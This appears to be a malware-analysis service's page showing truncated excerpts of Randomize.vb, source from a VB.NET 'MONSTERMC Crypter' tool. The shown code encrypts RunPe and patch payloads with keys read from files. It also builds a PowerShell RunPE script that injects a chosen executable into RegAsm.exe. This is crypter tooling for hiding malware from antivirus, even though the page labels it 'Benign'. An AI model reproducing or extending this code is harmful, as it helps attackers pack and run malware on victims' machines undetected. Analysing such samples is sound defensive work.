Benign Download

Randomize.vb

.NET FromBase64String method referenceExactly one line exceeds 1000 chars
SHA-256a067245b6a5a8ffa435a0eefa461a6938d50bdf31341633233a44abf35edce2c

Evidence

.NET FromBase64String method reference lines 5–17
5:42… ms.mdiProperties
6
7Namespace MONSTERMCCrypterGUI.Randomize
8 Friend Class Randomize
9 Public Shared Function RandomIvKey(ByVal sizeinb As Integer) As Byte()
10 Dim random As Random = New Random()
11 Dim b = New Byte(sizeinb - 1) {}
12 random.NextBytes(b)
13 Return b
14 End Function
15
16 Public Shared Function SourceEncrypt() As Tuple(Of String, String, String, String, Byte(), String, String)
17 Return Tuple.Create(Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.RunPe), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.Patch), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Powershell.Encryption.EncryptStringToBytes(Files.PowershellPatch, Convert.FromBase64String(File.ReadAllText("PowershellKey.txt")), Convert.FromBase64String(Fil …
Path to a .NET Framework runtime exe line 17
17:700… tringToBytes(Files.PowershellRunPe.Replace("%PATH%", "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe").Replace("%PAYLOADHERE%", Convert.ToBase64String(Encrypt.Encrypt.Encryptor(File.ReadAllBytes(Forms.SubForms.Path.FilePath), Co …
VBScript Dim variable declaration lines 17–23
17:1515… "))
18 End Function
19
20 Public Shared Function RunPe() As String
21 Dim sb As StringBuilder = New StringBuilder()
22 sb.Append(Files.PowershellRunPe)
23 …
VBScript Function declaration lines 24–28
24:85… ))
25 Return sb.ToString()
26 End Function
27 End Class
28End Namespace

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.